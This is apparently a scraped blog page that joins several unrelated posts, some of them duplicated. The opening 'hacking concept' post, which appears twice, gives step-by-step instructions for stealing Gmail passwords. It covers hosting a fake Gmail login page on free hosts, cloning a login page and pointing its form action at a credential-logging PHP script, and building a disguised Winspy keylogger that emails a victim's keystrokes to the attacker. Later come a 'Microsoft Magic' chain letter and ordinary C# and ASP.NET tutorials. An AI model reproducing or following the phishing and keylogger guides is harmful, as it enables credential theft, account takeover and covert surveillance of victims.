Thursday, 19 April 2012

hacking concept

What is:-


1.PHISHING

The act of sending an Email to a user falsely claiming to be an established legitimate enterprise in an attempt to scam the
user into surrendering private information that will be used for identity theft.
The Email directs the user to visit a Web site where they are asked to update personal information, such as passwords
and credit card, social security, and bank account numbers, that the legitimate organization already has. The Web site,
however, is Bogus and set up only to steal the User’s information.
Phishing attacks are Trying to steal your Money !!!

Phishing Scams Could Be-
* Emails inviting you to join a Social Group, asking you to Login using your Username and Password.
* Email saying that Your Bank Account is locked and Sign in to Your Account to Unlock IT.
* Emails containing some Information of your Interest and asking




2.KEYLOGGING

Keyloggers definition
Keylogger is a software program or hardware device that is used to monitor and log each of the keys a user types into a
computer keyboard. The user who installed the program or hardware device can then view all keys typed in by that user.
Because these programs and hardware devices monitor the keys typed in a user can easily find user passwords and other
information a user may not wish others to know about.
Keyloggers, as a surveillance tool, are often used by employers to ensure employees use work computers for business
purposes only. Unfortunately, keyloggers can also be embedded in spyware allowing your information to be transmitted
to an unknown third party.
About keyloggers
A keylogger is a program that runs in the background, recording all the keystrokes. Once keystrokes are logged, they are
hidden in the machine for later retrieval, or shipped raw to the attacker. The attacker then peruses them carefully in the
hopes of either finding passwords, or possibly other useful information that could be used to compromise the system or
be used in a social engineering attack. For example, a keylogger will reveal the contents of all e-mail composed by the
user. Keylogger is commonly included in rootkits.
A keylogger normally consists of two files: a DLL which does all the work and an EXE which loads the DLL and sets the
hook. Therefore when you deploy the hooker on a system, two such files must be present in the same directory.
There are other approaches to capturing info about what you are doing.
  • Somekeyloggerscapture screens, rather than keystrokes.
  • Otherkeyloggerswill secretly turn on video or audio recorders, and transmit what they capture over your internet connection.
A keyloggers might be as simple as an exe and a dll that are placed on a machine and invoked at boot via an entry in the
registry. Or a keyloggers could be which boasts these features:
  • Stealth: invisible in process list
  • Includes kernel keylogger driver that captures keystrokes even when user is logged off (Windows 2000 / XP)
  • ProBot program files and registry entries are hidden (Windows 2000 / XP)
  • Includes Remote Deployment wizard
  • Active window titles and process names logging
  • Keystroke / password logging
  • Regional keyboard support
  • Keylogging in NT console windows
  • Launched applications list
  • Text snapshots of active applications.
  • Visited Internet URL logger
  • Capture HTTP POST data (including logins/passwords)

*****************************************************************************************************************************
  1. How to hack gmail account password :Phishing!

Installation Guide:


First of all Download:Gmail fake page


1.once you have downloded Gmail fake login page now extract contents in a folder


2.Now open login script(right click and then select edit) and find (CTRL+F) 'rahulhackingarticles.wetpaint.com' then change it to your to is the 'http://www.google.com.pk'


3.Note:'http://www.google.com.pk' is the redirection url,When victim will enter his/her email and password he will redirected to'http://www.google.com.pk' instead of "rahulhackingarticles.wetpaint.com"
Now Save it .




4.Create an id in www.110mb.com,www.ripway.com or t35.com.(t35 is better,as ripway suspends suspicious accounts)


Note:Lots of people have complaint that they get banned from 110mb.ripway and t35.com so as an alternative you can use ooowebhost.


5.Once you have created an account on 110mb.com ,then upload both the files in the directory


6.Now distribute http://yoursite.110mb.com/fakegmailpage.htm to your victim* once victim logins through this page you will see something.txt file,download the fileto see the password inside

(Or use sites like dot.tk to create custom links,Like http://orkutfundoo.tk which is a phishing site)



*******************************************************************************************************************************
OR CREATE YOUR OWN FAKE PAGE
Step 1:-Open the website whose phishing page you want create.
Step 2:-Then right click any where on the page and select view source.
Step 3:-Press ( Ctrl + A ) and the code will be selected and then press ( Ctrl + C ) to copy the code.
Step 4:-The paste this code in a new notepad window and save it as ServerLogin.htm
Step 5:- Open "ServiceLogin.htm" with notepad and the search for word "action". [press ctrl+f to find the word]
Step 6:-You will find like this action=" https://www.google.com/accounts/ServiceLoginAuth "
Step 7:-Replace the link between this red quote with the link you got by uploading the file hacking.php and it should
be like this action=" http://www.yourhostingcompany.com/username/hackingtech.php "
Step 8:-Now Save this as serverlogin.htm

This will do same action


*******************************************************************************************************************************



How it works ?
When a user types a Username Password in the the text box,The info is sent to "login.php" which acts as a password logger and redirects the page to "LoginFrame2.htm" which shows "There has been a temporary error Please Try Again" in it .So when the person clicks on try again it redirects to the actual URL so that the victim does not know that yoursite is a fake site and gets his gmail.com password hacked
Cheers ! you can leave your comments if you have lost your way !


Keylogging - The easy way!


The easiest way to hack gmail is by using a keylogger(Spy Software). It doesn’t matter whether or not you have physical access to the target computer. To use a keylogger it doesn’t need any technical knowledge. Anyone with a basic knowledge of computers can use keyloggers.
I have posted an article on How to use sniperspy to hack password,Which will explain you more about keyloggers,Well there are many types of keyloggers used to hack password but in this article i will use Winspy keylogger to Hack gmail passwords



First of all free download Winspy keylogger software from internet - use keyword Download Winspy Keylogger



2. After downloading winspy keylogger to hack Gmail account password, run the application. On running, a dialog box will be prompted. Now, create an user-id and password on first run and hit apply password. Remember this password as it is required each time you start Winspy and even while uninstalling.

3. Now, another box will come, explaining you the hot keys(Ctrl + Shift + F12) to start the Winspy keylogger software.
Winspy keylogger to hack gmail account password


4. Now, on pressing hot keys, a login box will come asking userid and password. Enter them and click OK.
Winspy keylogger to hack gmail passwsord


5. Now, Winspy’s main screen will be displayed as shown in image below:


6. Select Remote at top, then Remote install.

7. On doing this, you will get a popup box as shown in image. Now, fill in the following information in this box.
hack gmail password


.user - type in the victim’s name

.file name - Name the file to be sent. Use the name such that victim will love to accept it.

.file icon - keep it the same

.picture - select the picture you want to apply to the keylogger.

In the textfield of “Email keylog to”, enter your email address. Hotmail accounts do not accept keylog files, so use another emailaccount id,my sugession is using a Gmail id
Thats it. This much is enough. If you want, can change other settings also.

8. After you have completed changing settings, click on “Create Remote file”. Now just add your picture to a winrar archive. Now, what you have to do is only send this keylog file to your victim. When victim will open this file, all keystrokes typed by victim will be sent to your email inbox. Thus, you will get all his passwords and thus will be able to hack his email accounts and even Gmail account password.

hacking concept

What is:-


1.PHISHING

The act of sending an Email to a user falsely claiming to be an established legitimate enterprise in an attempt to scam the
user into surrendering private information that will be used for identity theft.
The Email directs the user to visit a Web site where they are asked to update personal information, such as passwords
and credit card, social security, and bank account numbers, that the legitimate organization already has. The Web site,
however, is Bogus and set up only to steal the User’s information.
Phishing attacks are Trying to steal your Money !!!

Phishing Scams Could Be-
* Emails inviting you to join a Social Group, asking you to Login using your Username and Password.
* Email saying that Your Bank Account is locked and Sign in to Your Account to Unlock IT.
* Emails containing some Information of your Interest and asking




2.KEYLOGGING

Keyloggers definition
Keylogger is a software program or hardware device that is used to monitor and log each of the keys a user types into a
computer keyboard. The user who installed the program or hardware device can then view all keys typed in by that user.
Because these programs and hardware devices monitor the keys typed in a user can easily find user passwords and other
information a user may not wish others to know about.
Keyloggers, as a surveillance tool, are often used by employers to ensure employees use work computers for business
purposes only. Unfortunately, keyloggers can also be embedded in spyware allowing your information to be transmitted
to an unknown third party.
About keyloggers
A keylogger is a program that runs in the background, recording all the keystrokes. Once keystrokes are logged, they are
hidden in the machine for later retrieval, or shipped raw to the attacker. The attacker then peruses them carefully in the
hopes of either finding passwords, or possibly other useful information that could be used to compromise the system or
be used in a social engineering attack. For example, a keylogger will reveal the contents of all e-mail composed by the
user. Keylogger is commonly included in rootkits.
A keylogger normally consists of two files: a DLL which does all the work and an EXE which loads the DLL and sets the
hook. Therefore when you deploy the hooker on a system, two such files must be present in the same directory.
There are other approaches to capturing info about what you are doing.
  • Somekeyloggerscapture screens, rather than keystrokes.
  • Otherkeyloggerswill secretly turn on video or audio recorders, and transmit what they capture over your internet connection.
A keyloggers might be as simple as an exe and a dll that are placed on a machine and invoked at boot via an entry in the
registry. Or a keyloggers could be which boasts these features:
  • Stealth: invisible in process list
  • Includes kernel keylogger driver that captures keystrokes even when user is logged off (Windows 2000 / XP)
  • ProBot program files and registry entries are hidden (Windows 2000 / XP)
  • Includes Remote Deployment wizard
  • Active window titles and process names logging
  • Keystroke / password logging
  • Regional keyboard support
  • Keylogging in NT console windows
  • Launched applications list
  • Text snapshots of active applications.
  • Visited Internet URL logger
  • Capture HTTP POST data (including logins/passwords)

*****************************************************************************************************************************
  1. How to hack gmail account password :Phishing!

Installation Guide:


First of all Download:Gmail fake page


1.once you have downloded Gmail fake login page now extract contents in a folder


2.Now open login script(right click and then select edit) and find (CTRL+F) 'rahulhackingarticles.wetpaint.com' then change it to your to is the 'http://www.google.com.pk'


3.Note:'http://www.google.com.pk' is the redirection url,When victim will enter his/her email and password he will redirected to'http://www.google.com.pk' instead of "rahulhackingarticles.wetpaint.com"
Now Save it .




4.Create an id in www.110mb.com,www.ripway.com or t35.com.(t35 is better,as ripway suspends suspicious accounts)


Note:Lots of people have complaint that they get banned from 110mb.ripway and t35.com so as an alternative you can use ooowebhost.


5.Once you have created an account on 110mb.com ,then upload both the files in the directory


6.Now distribute http://yoursite.110mb.com/fakegmailpage.htm to your victim* once victim logins through this page you will see something.txt file,download the fileto see the password inside

(Or use sites like dot.tk to create custom links,Like http://orkutfundoo.tk which is a phishing site)



*******************************************************************************************************************************
OR CREATE YOUR OWN FAKE PAGE
Step 1:-Open the website whose phishing page you want create.
Step 2:-Then right click any where on the page and select view source.
Step 3:-Press ( Ctrl + A ) and the code will be selected and then press ( Ctrl + C ) to copy the code.
Step 4:-The paste this code in a new notepad window and save it as ServerLogin.htm
Step 5:- Open "ServiceLogin.htm" with notepad and the search for word "action". [press ctrl+f to find the word]
Step 6:-You will find like this action=" https://www.google.com/accounts/ServiceLoginAuth "
Step 7:-Replace the link between this red quote with the link you got by uploading the file hacking.php and it should
be like this action=" http://www.yourhostingcompany.com/username/hackingtech.php "
Step 8:-Now Save this as serverlogin.htm

This will do same action


*******************************************************************************************************************************



How it works ?
When a user types a Username Password in the the text box,The info is sent to "login.php" which acts as a password logger and redirects the page to "LoginFrame2.htm" which shows "There has been a temporary error Please Try Again" in it .So when the person clicks on try again it redirects to the actual URL so that the victim does not know that yoursite is a fake site and gets his gmail.com password hacked
Cheers ! you can leave your comments if you have lost your way !


Keylogging - The easy way!


The easiest way to hack gmail is by using a keylogger(Spy Software). It doesn’t matter whether or not you have physical access to the target computer. To use a keylogger it doesn’t need any technical knowledge. Anyone with a basic knowledge of computers can use keyloggers.
I have posted an article on How to use sniperspy to hack password,Which will explain you more about keyloggers,Well there are many types of keyloggers used to hack password but in this article i will use Winspy keylogger to Hack gmail passwords



First of all free download Winspy keylogger software from internet - use keyword Download Winspy Keylogger



2. After downloading winspy keylogger to hack Gmail account password, run the application. On running, a dialog box will be prompted. Now, create an user-id and password on first run and hit apply password. Remember this password as it is required each time you start Winspy and even while uninstalling.

3. Now, another box will come, explaining you the hot keys(Ctrl + Shift + F12) to start the Winspy keylogger software.
Winspy keylogger to hack gmail account password


4. Now, on pressing hot keys, a login box will come asking userid and password. Enter them and click OK.
Winspy keylogger to hack gmail passwsord


5. Now, Winspy’s main screen will be displayed as shown in image below:


6. Select Remote at top, then Remote install.

7. On doing this, you will get a popup box as shown in image. Now, fill in the following information in this box.
hack gmail password


.user - type in the victim’s name

.file name - Name the file to be sent. Use the name such that victim will love to accept it.

.file icon - keep it the same

.picture - select the picture you want to apply to the keylogger.

In the textfield of “Email keylog to”, enter your email address. Hotmail accounts do not accept keylog files, so use another emailaccount id,my sugession is using a Gmail id
Thats it. This much is enough. If you want, can change other settings also.

8. After you have completed changing settings, click on “Create Remote file”. Now just add your picture to a winrar archive. Now, what you have to do is only send this keylog file to your victim. When victim will open this file, all keystrokes typed by victim will be sent to your email inbox. Thus, you will get all his passwords and thus will be able to hack his email accounts and even Gmail account password.

Subject: Microsoft Magic



MAGIC #1
An Indian discovered that nobody can create a FOLDER anywhere on the computer which can be named as "CON". This is something pretty cool…and unbelievable… At Microsoft the whole Team, couldn't answer why this happened!

TRY IT NOW ,IT WILL NOT CREATE "CON" FOLDER

MAGIC #2
For those of you using Windows, do the following:
1) Open an empty notepad file
2) Type "Bush hid the facts" (without the quotes)
3) Save it as whatever you want..
4) Close it, and re-open it.
Is it just a really weird bug? At Microsoft they say they don't know why this happens.

MAGIC #3
Microsoft's crazy facts

This is something pretty cool and neat…and unbelievable… At Microsoft the whole Team, including Bill Gates, couldn't answer why this happened!

It was discovered by a Brazilian.. Try it out yourself….

Open Microsoft Word and type

=rand (200, 99)

And then press ENTER then see the magic…….
Hello Friend’s
In this article I am going to explain how to add progress bar in windows application.
In web application, we have much option and having third party controls too. Like
RadControls , NetAdvantages controls etc..  But in windows application, there is no straight way to add progress bar as per my thinking.  In this article I am going to give one small example so you can implement into your application.
First Make one application and in one Form put below controls.
1.)    Button (on clicking button we display progress Bar)
2.)    Picture box  (option to display Loading Image)
3.)    Label (give appropriate message to user like Please wait….)
 
public partial class KetanProgressBar : Form
    {
        private BackgroundWorker bgworker;
        delegate void SetControlValueCallback(Control oControl, string propName, object propValue);
        public KetanProgressBar()
        {
            InitializeComponent();
        }
        private void Form1_Load(object sender, EventArgs e)
        {
            bgworker = new BackgroundWorker();
            bgworker.WorkerSupportsCancellation = true;
            bgworker.WorkerReportsProgress = true;
            bgworker.DoWork += bwMC_DoWork;
            bgworker.ProgressChanged += bwMC_ProgressChanged;
            bgworker.RunWorkerCompleted += bwMC_RunWorkerCompleted;
        }
        private void bwMC_ProgressChanged(object sender, ProgressChangedEventArgs e)
        {
            SetControlPropertyValue(pictureBox1, "Visible", true);
            SetControlPropertyValue(lblWait, "Visible", true);
        }
        private void bwMC_RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e)
        {
            if(!e.Cancelled)
            {
                SetControlPropertyValue(lblWait, "Visible", false);
                SetControlPropertyValue(pictureBox1, "Visible", false);
                MessageBox.Show("Action Completed", "Confirmation", MessageBoxButtons.OK, MessageBoxIcon.Information);
            }
        }
        private void SetControlPropertyValue(Control oControl, string propName, object propValue)
        {
            if (oControl.InvokeRequired)
            {
                SetControlValueCallback d = new SetControlValueCallback(SetControlPropertyValue);
                oControl.Invoke(d, new object[] { oControl, propName, propValue });
            }
            else
            {
                Type t = oControl.GetType();
                PropertyInfo[] props = t.GetProperties();
                foreach (PropertyInfo p in props)
                {
                    if (p.Name.ToUpper() == propName.ToUpper())
                    {
                        p.SetValue(oControl, propValue, null);
                    }
                }
            }
        }
        private void bwMC_DoWork(object sender, DoWorkEventArgs e)
        {
            bgworker.ReportProgress(1); //just for test we make looping so progressbar will display.
            for (int i = 0; i <= 100000000; i++)
            { }
           
        }
        private void button1_Click(object sender, EventArgs e)
        {
            bgworker.RunWorkerAsync();
            Application.DoEvents();
        }
 
 

How to check For File Lock (File in use) in C#?

 public void OperationWithFile()
        {
            string filepath = "D:\\Test.xlsm";
            if(FileInUse(filepath) == false)
                MessageBox.Show("You can't operform operation. File already in Use");
            
        }

        private bool FileInUse(string path)
        {
            try
            {
                //if file is not lock then below statement will successfully executed otherwise it's goes to catch.
                using (FileStream fs = new FileStream(path, FileMode.OpenOrCreate))
                {
                }
                return false;
            }
            catch (IOException ex)
            {
                    return true;
                
            }
        } 

Tuesday, 27 December 2011

Implementing .NET Passport Authentication in Web Applications

Implementing .NET Passport Authentication in Web Applications 

In this article, i am going to explain how you can implement .NET Passport Authentication in Web applications using ASP.NET. Basically we are going to see what are steps that are required to implement .NET Passport Authentication.

.NET Passport

    .NET Passport allows users to create a single sign-in name and password to access any site that has implemented the Passport single sign-in (SSI) service. By implementing the Passport SSI, you won't have to implement your own user-authentication mechanism. Users authenticate with the SSI, which passes their identities to your site securely. Although Passport authenticates users, it doesn't grant or deny access to individual sites i.e. .NET Passport does only authentication not authroziation . Passport simply tells a participating site who the user is. Each site must implement its own access-control mechanisms based on the user's Passport User ID (PUID). Here is how .NET Passport Authentication works,

    First user requests any page from his web server. Since user is not authenticated, web server redirect its request for authentication with Sign-In logo. When user presses Sign-In button, request will go to Passport server for Sign-In page. Once the Sign-In page comes to browser, user will enter his authentication details like Passport ID and Password. When user credentials are submitted, Credentials are validated in Passport server. Then Cookies are created in server and response is send to the browser with encrypted querystring. Now both cookies and querystring is having details about authentication. Once user is authenticate, he will be taken to page which is requested first.

Steps To Implement .NET Passport Authentication

   Here the steps that are required to implement passport authentication in your system,
1. Download the Microsoft .NET Passport SDK from the following Microsoft Site  and install it in your web server.
2. Register your application in .NET Service Manager. Go to Service Manager Site , this is where you need to create application for your website. You will be prompted for contact information and other details. After that you will be  prompted for Application details. The following table describes about mandatory fields that are required for registering your application.
Field Name
Sample Value
Description
Preproduction Application Name ExtremeExperts This is how .NET Passport will describe your application.
Web Site Title ExtremeExperts The common name of your .NET Passport site. This is the name by which we will refer to your site on the .NET Passport pages, including our site directory.
Domain Name ExtremeExperts This will be the host name your browser will use to browse to your Web site.
Default Return URL http://extremeexperts/login.aspx
The default location to which Users will be redirected in the event of an error or when you do not specify a ru parameter. For SCT Matrix, it should point to your Login.asp in Web general folder
Cobrand Image URL
http://extremeexperts/images/header.jpg This is an image file that will be displayed above the standard .NET Passport logon prompt when someone logs on from your site.
Cobrand Instruction Text
ExtremeExperts Web Site The instruction text that will appear at the top of the .NET Passport Credential dialog box and can be viewed in Internet Explorer 6.0 and later. This is a UTF-8 encoded string.
Expire Cookie URL
http://extremeexperts/Signout.aspx The location of the page that will delete all the cookies set by Microsoft® .NET Passport for your site.
Logout URL http://extremeexperts/login.aspx The location to which we will send your customers if they sign out of .NET Passport by clicking the .NET Passport Sign Out button on your site.

3. Get the SiteID and Application key after registering your application with .NET Services Manager.Return to the .NET My Services Manager "Manage My Applications" page, select the application you just created from the drop-down list box and click Submit. Select the Download a key option and click Continue to download the executable that will install your key on your local machine. Save the file to a secure location on your machine. In my case the file was named partner33943_1.exe. To install the key you must run the application with the /addkey option.
             For example: partner33943_1.exe /addkey
   After installing the key you need to make the key current. This is done with the /makecurrent option along with a time-out option for any previous keys.
            For example: partner33943_1.exe /makecurrent /t 0
   The application's key is now installed. Configure your Site in Passport Administration Utility. This tool came along with .NET Passport SDK. Then configure  Secure Level in Passport Administration depending upon your secure level. If it is basic level, then configure it as 0. If your site is SSL Enabled then configure it as 10.
4. Create a .NET Passport in the pre-production environment. The .NET Passport you created in step 1 was a .NET Passport created in the production environment. The pre-production environment is a completely separate set of accounts. Therefore, to log on to your development site you will need a pre-production account. Development has to happen in this enviornment only. Once it is done then you have request a compliance review for your site. The .NET Services compliance team will review your site and verify that you have met all of its functionality, UI, and other requirements. After your site has been approved, you are ready to launch your live site 

Enable Passport Authentication in Web.Config

   In ASP.NET, Passport Authentication works very similar to Forms(cookies) Authentication. To enable Passport authentication you need to specify it in the authentication section of your web.config file
<configuration>
    <system.web>
          <authentication mode="Passport">
                 <passport redirectUrl="login.aspx" />
           </authentication>
           < authorization>
                  < deny users="?" />
            </authorization>
         </system.web>
</configuration>
  Basically here you need to set your application authentication type to Passport and you are not allowing any unauthenticated users to access any pages in your website. By doing this, if any unauthenticated users try to access this website, he will redirected to the page which is mentioned in redirectUrl. Once you specify authentication as passport, Identity of user property of the page will return PassportIdentity which managed version of Passport Manager.

Implementing Passport Authentication using ASP.NET

    The .NET Framework provides .NET Passport Manager functionality with two main classes: the System.Web.Security.PassportAuthenticationModule class and the System.Web.Security.PassportIdentity class. You can think of the PassportAuthenticationModule as the inner workings of .NET Passport, about which you do not need to worry. It is simply a plug-in that allows Microsoft ASP.NET applications to perform .NET Passport authentication. The PassportIdentity class is where all the functionality is provided that you will use in your code. It exposes many of the same methods that were available with the PassportManager COM object for use in ASP pages, but now it is done completely in managed code.
   Once you have set the authentication mode to Passport, you will be able to access the PassportIdentity class, which is accessed via the IIdentity interface that it implements. You can get an interface pointer to it from the User property of the current ASP.NET page context. The following code is used to get an instance of a PassportIdentity object
Dim Passport as System.Web.Security.PassportIdentity
Passport = Page.User.Identity
 
    Now the Passport variable can be used to access the .NET Passport-specific functionality provided by the PassportIdentity class. One of the key things you will need to implement when you perform .NET Passport authentication is the sign-in and sign-out buttons that should be displayed somewhere in the upper-right portion of your page. The HTML for the images along with a corresponding hyperlink to the .NET Passport authentication servers is returned by the LogoTag method of the PassportIdentity object. The following code demonstrates how you might use the LogoTag method in an ASP.NET page
ltlSignin.Text = Passport.LogoTag(strURL,2000, False, Nothing, 1033, Page.Request.IsSecureConnection, Page.Request.ServerVariables("SERVER_NAME"),0 ,False)
   The first parameter to the LogoTag2 method is the return URL. This is where the user will be redirected after a successful .NET Passport sign-in. In most situations the return URL should be the current page so that the user is returned to where the user was before signing in. You can, however, specify a different return URL if you prefer, or no URL at all, which tells .NET Passport Manager to pull the default return URL from the registry that you set with the Passport Administration utility; if it is not there, the .NET Passport servers will use the default return URL indicated during the configuration of your .NET My Services application when you created the site ID. For more details about other parameters, you can refer SDK Documentation.
    Your code will probably also want to detect if a user has signed in or not. The IsAuthenticated property of the PassportIdentity class can be used to detect a user's sign-in status. Once a user is signed in, the .NET Passport profile information will be available through the Items collection. Developers should be aware that most of the profile information is optional information. So, for instance, if you are accessing the FirstName item from the profile, it may not exist for all users.
    The Passport User ID (PUID) will always be available for a .NET Passport-authenticated user and is accessible via the Name or HexPUID properties of the PassportIdentity class. You should use the PUID as the index for storing user-specific information at your site. For the Favorites Service, we store the hierarchical favorites list for each user, so we use the PUID as the user identifier
    Signing in and accessing the .NET Passport profile information is only part of your responsibilities as a .NET Passport site developer. The other key item you must deal with is signing out. The LogoTag2 method will still handle creating the image and anchor for linking appropriately to the .NET Passport servers for performing a sign-out, but you must create a page that will handle the last portion of the sign-out. The .NET Passport servers will deal with expiring the .NET Passport ticket used for validating your sign-in, but it is up to the site developer to delete the HTTP cookies that carry the ticket information. Your sign-out page must also return an image that can be used to indicate a successful sign-out to the user. The following code deletes the .NET Passport cookies and returns the appropriate GIF image to perform a successful sign-out
<%
        Response.ContentType = "image/gif"
        Response.Expires = -1
        Response.AddHeader("P3P", "CP=TST") 
        Dim Cookie1 As New HttpCookie("MSPProf","") 
        Cookie1.Expires = Now()
        Response.Cookies.Add(Cookie1) 
        Dim Cookie2 as New HttpCookie("MSPAuth","") 
        Cookie2.Expires = Now()
        Response.Cookies.Add(Cookie2) 
        Dim Cookie3 as New HttpCookie("MSPSecAuth","") 
        Cookie3.Expires = Now()
        Response.Cookies.Add(Cookie3) 
        Dim Cookie4 as New HttpCookie("MSPProfC","") 
        Cookie4.Expires = Now()
        Response.Cookies.Add(Cookie4) 
        Dim Cookie5 as New HttpCookie("MSPConsent","") 
        Cookie5.Expires = Now()
        Response.Cookies.Add(Cookie5)
        Response.WriteFile("images/signoutcheckmark.gif") %>

Conclusion

     If you are implementing a site that will eventually go into production, you will need to take special care to follow the UI guidelines indicated in the .NET Passport SDK documentation. This article just gave an basic idea about how to implement Passport Authentication in Web applications. There is one more important thing which i didnt cover in this article is Co-branding stuff. For more details about that and for any other clarification refer .NET Passport SDK

Monday, 26 December 2011

Security concept With window authen

SP.NET 3.5 Windows-Based Authentication

by Yogendra Pratap Singh(assistant Professor)
This article looks at Windows-based ASP.NET authentication, one of several different types of authentication measures ASP.NET 3.5 provides to use within your applications. ASP.NET has several ways of performing Windows-based authentication and we'll look at all of them: Integrated Windows authentication, Basic authentication, and Digest authentication. You'll also see in this article that if you are running your ASP.NET 3.5 pages on IIS 7 and Windows Vista, some of the authentication options will be configured with slightly different steps than in IIS 5.0 and 6.0 on Windows Server 2003 or Windows XP.
In ASP.NET terms, authentication is the process that determines the identity of a user. After a user has been authenticated, a developer can determine if the identified user has authorization to proceed. It is impossible to give an entity authorization if no authentication process has been applied. You should never authorize access to resources you mean to be secure if you have not applied an authentication process to the requests for the resources.
Authorization is the process of determining whether an authenticated user is permitted access to any part of an application, access to specific points of an application, or access only to specified datasets that the application provides. Authenticating and authorizing users and groups enable you to customize a site based on user types or preferences.
The different authentication modes are established through settings that can be applied to the application's web.config file or in conjunction with the application server's Internet Information Services (IIS) instance.
ASP.NET is configured through a series of .config files on the application server. These are XML-based files that enable you to easily change how ASP.NET behaves. This is an ideal way to work with the configuration settings you require. ASP.NET configuration files are applied in a hierarchal manner. The .NET Framework provides a server-level configuration file called the machine.config file, which can be found at C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG. The folder contains the machine.config file. This file provides ASP.NET application settings at a server-level, meaning that the settings are applied to each and every ASP.NET application that resides on the particular server.
A web.config file is another XML-based configuration file that resides in the root of the Web application. The settings applied in the web.config file override the same settings applied in the higher-level machine.config file.
You can even nest the web.config files so that the main application web.config file is located in the root directory of your application, but additional web.config files reside in some of the application's subdirectories (see Figure 1). The web.config files contained in any of the subdirectories supersede the root directory's web.config file. Therefore, any settings applied through a subdirectory's web.config file change whatever was set in the application's main web.config file.
Figure 1
Figure 1 In many cases, you can use the web.config file to apply the authentication and authorization mechanics you want in your applications. You also can work with IIS to apply settings directly to your applications.
IIS is the Web server that handles all the incoming HTTP requests that come to into the server. You must modify IIS to perform as you want. IIS hands a request to the ASP.NET engine only if the page has a specific file extension (for example, .aspx). This article will work with IIS 7.0 as well.

The <authentication> Node

You use the <authentication> node in the application's web.config file to set the type of authentication your ASP.NET application requires:
<system.web>
   <authentication mode="Windows|Forms|Passport|None">


   </authentication>
</system.web>
The <authentication> node uses the mode attribute to set the form of authentication that is to be used. Options include Windows, Forms, Passport, and None. Each option is explained in the following table.
Provider Description
Windows Windows authentication is used together with IIS authentication. Authentication is performed by IIS in the following ways: basic, digest, or Integrated Windows Authentication. When IIS authentication is complete, ASP.NET uses the authenticated identity to authorize access. This is the default setting.
Forms Requests that are not authenticated are redirected to an HTML form using HTTP client-side redirection. The user provides his login information and submits the form. If the application authenticates the request, the system issues a form that contains the credentials or a key for reacquiring the identity.
Passport A centralized authentication service provided by Microsoft that offers single login and core profile services for member sites. This mode of authentication was de-emphasized by Microsoft at the end of 2004.
None No authentication mode is in place with this setting.
As you can see, a couple of methods are at your disposal for building an authentication/authorization model for your ASP.NET applications. This article examines the Windows mode of authentication. In the book, Professional ASP.NET 3.5 (Wrox, 2008, ISBN: 978-0-470-18757-9), Chapter 21, "Security," examines Forms authentication in detail.

Windows-Based Authentication

Windows-based authentication is handled between the Windows server where the ASP.NET application resides and the client machine. In a Windows-based authentication model, the requests go directly to IIS to provide the authentication process. This type of authentication is quite useful in an intranet environment where you can let the server deal completely with the authentication process — especially in environments where users are already logged onto a network. In this scenario, you simply grab and utilize the credentials that are already in place for the authorization process.
IIS first takes the user's credentials from the domain login. If this process fails, IIS displays a pop-up dialog box so the user can enter or re-enter his login information. To set up your ASP.NET application to work with Windows-based authentication, begin by creating some users and groups.

Creating Users

You use aspects of Windows-based authentication to allow specific users who have provided a domain login to access your application or parts of your application. Because it can use this type of authentication, ASP.NET makes it quite easy to work with applications that are deployed in an intranet environment. If a user has logged onto a local computer as a domain user, he will not need to be authenticated again when accessing a network computer in that domain.
The following steps show you how to create a user. It is important to note that you must have sufficient rights to be authorized to create users on a server. If you are authorized, the steps to create users are as follows:
  1. Within your Windows XP or Windows Server 2003 server, choose Start-->Control Panel-->Administrative Tools-->Computer Management. If you are using Windows Vista, choose Start-->Control Panel-->System and Maintenance-->Administrative Tools-->Computer Management. Either one opens the Computer Management utility. It manages and controls resources on the local Web server. You can accomplish many things using this utility, but the focus here is on the creation of users.
  2. Expand the System Tools node.
  3. Expand the Local Users and Groups node.
  4. Select the Users folder. You see something similar to the results shown in Figure 2.

    Figure 2
    Figure 2
  1. Right-click the Users folder and select New User. The New User dialog appears, as shown in Figure 3.

    Figure 3
    Figure 3
  1. Give the user a name, password, and description stating that this is a test user. In this example, the user is called Bubbles.
  2. Clear the check box that requires the user to change his password at the next login.
  3. Click the Create button. Your test user is created and presented in the Users folder of the Computer Management utility, as shown in Figure 4.

    Figure 4
    Figure 4
Now create a page to work with this user.

Authenticating and Authorizing a User

Now create an application that enables the user to enter it. You work with the application's web.config file to control which users are allowed to access the site and which users are not allowed.
Add the section presented in Listing 1 to your web.config file.
Listing 1: Denying all users through the web.config file
<system.web>
   <authentication mode="Windows" />
   <authorization>
      <deny users="*" />
   </authorization>
</system.web>
In this example, the web.config file is configuring the application to employ Windows-based authentication using the <authentication> element's mode attribute. In addition, the <authorization> element is used to define specifics about the users or groups who are permitted access to the application. In this case, the <deny> element specifies that all users (even if they are authenticated) are denied access to the application. Not permitting specific users with the <allow> element does not make much sense, but for this example, leave it as it is. The results are illustrated in Figure 5.
Figure 5
Figure 5 Any end user — authenticated or not — who tries to access the site sees a large "Access is denied" statement in his browser window, which is just what you want for those not allowed to access your application!
In most instances, however, you want to allow at least some users to access your application. Use the <allow> element in the web.config file to allow a specific user. Here is the syntax:
<allow users="Domain\Username" />
Listing 2 shows how the user is permitted access.
Listing 2: Allowing a single user through the web.config file
<system.web>
   <authentication mode="Windows" />
   <authorization>
      <allow users="REUTERS-EVJEN\Bubbles" />
      <deny users="*" />
   </authorization>
</system.web>
Even though all users (even authenticated ones) are denied access through the use of the <deny> element, the definitions defined in the <allow> element take precedence. In this example, a single user—Bubbles—is allowed.
Now, if you are logged on to the client machine as the user Bubbles and run the page in the browser, you get access to the application.

Looking Closely at the <allow> and <deny> Nodes

The <allow> and <deny> nodes enable you to work not only with specific users, but also with groups. The elements support the attributes defined in the following table.
Attribute Description
Users Enables you to specify users by their domain and/or name.
Roles Enables you to specify access groups that are allowed or denied access.
Verbs Enables you to specify the HTTP transmission method that is allowed or denied access.
When using any of these attributes, you can specify all users with the use of the asterisk (*):
<allow roles="*" />
In this example, all roles are allowed access to the application. Another symbol you can use with these attributes is the question mark (?), which represents all anonymous users. For example, if you want to block all anonymous users from your application, use the following construction:
<deny users="?" />
When using users, roles, or verbs attributes with the <allow> or <deny> elements, you can specify multiple entries by separating the values with a comma. If you are going to allow more than one user, you can either separate these users into different elements, as shown here:
<allow users="MyDomain\User1" />
<allow users="MyDomain\User2" />
or you can use the following:
<allow users="MyDomain\User1, MyDomain\User2" />
Use the same construction when defining multiple roles and verbs.

Authenticating and Authorizing a Group

